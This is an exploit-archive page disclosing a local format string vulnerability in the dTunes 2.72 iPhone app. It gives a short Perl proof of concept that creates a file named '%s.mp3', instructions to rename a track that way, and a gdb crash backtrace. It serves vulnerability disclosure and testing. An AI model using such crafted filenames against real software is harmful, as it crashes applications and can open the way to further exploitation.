what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dTunes 2.72 Format String

dTunes 2.72 Format String
Posted Sep 2, 2009
Authored by TheLeader

dTunes version 2.72 suffers from a local format string vulnerability during filename processing.

tags | exploit, local
SHA-256 | d40d6a217cc0245d7ab1dbe7577909ed2d5f608a6b11fcce6460294f3bcab1f4

dTunes 2.72 Format String

Change Mirror Download
#!/usr/bin/perl

# dTunes 2.72 local format string PoC (filename processing)
# TheLeader, GSOG2009 [st0p] hotmail [sp4m] com
# ShoutZ to the wonderful ppl over at forums.hacking.org.il =]

# Copy the file over to your device on /var/mobile/Library/Downloads/ and attempt playing with dTunes.
# This can also be done through dTunes interface - just tap "Edit", double tap any mp3 file, rename to "%s.mp3", tap "Save", confirm & play.

# PoC:
open (FILE, '>%s.mp3');
close (FILE);

# GDB backtrace:
# 0x3146baa4 in mach_msg_trap ()
# (gdb) c
# Continuing.
#
# Program received signal SIGABRT, Aborted.
# 0x3145dc58 in __kill ()
# (gdb) bt
# #0 0x3145dc58 in __kill ()
# #1 0x3145dc4c in kill ()
# #2 0x3145dc40 in raise ()
# #3 0x3147842a in abort ()
# #4 0x30075b44 in __gnu_cxx::__verbose_terminate_handler ()
# #5 0x300c2100 in _objc_terminate ()
# #6 0x300730d8 in std::terminate ()
# #7 0x300731e0 in __cxa_throw ()
# #8 0x300c1f8c in objc_exception_throw ()
# #9 0x3029a59e in +[NSException raise:format:arguments:] ()
# #10 0x3029a53e in +[NSException raise:format:] ()
# #11 0x30696de4 in -[NSURL initWithString:relativeToURL:] ()
# #12 0x30696cde in +[NSURL URLWithString:relativeToURL:] ()
# #13 0x330c1008 in -[AVPlaybackItem urlFromPath:] ()
# #14 0x330c259c in -[AVPlaybackItem ensureFPItem] ()
# #15 0x330c4304 in -[AVPlaybackQueue queueItemWasAddedNotification:] ()
# #16 0x30672726 in _nsnote_callback ()
# #17 0x302615a8 in _CFXNotificationPostNotification ()
# #18 0x30670e72 in -[NSNotificationCenter postNotificationName:object:userInfo:] ()
# #19 0x330aa750 in -[AVQueue itemWasAdded:atIndex:] ()
# #20 0x330aa89c in -[AVQueue insertItem:atIndex:error:] ()
# #21 0x000037e4 in -[DTunesMusicPlayViewController buildTrack:] ()
# #22 0x0000366a in -[DTunesMusicPlayViewController nextTrack] ()
# #23 0x000032a0 in -[DTunesMusicPlayViewController updateScreenWhilePlaying] ()
# #24 0x306942a6 in __NSFireTimer ()
# #25 0x30269d8e in CFRunLoopRunSpecific ()
# #26 0x30269326 in CFRunLoopRunInMode ()
# #27 0x31567e60 in GSEventRunModal ()
# #28 0x30a4fa74 in -[UIApplication _run] ()
# #29 0x30a591d8 in UIApplicationMain ()
# #30 0x00002096 in main ()
# (gdb) q


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close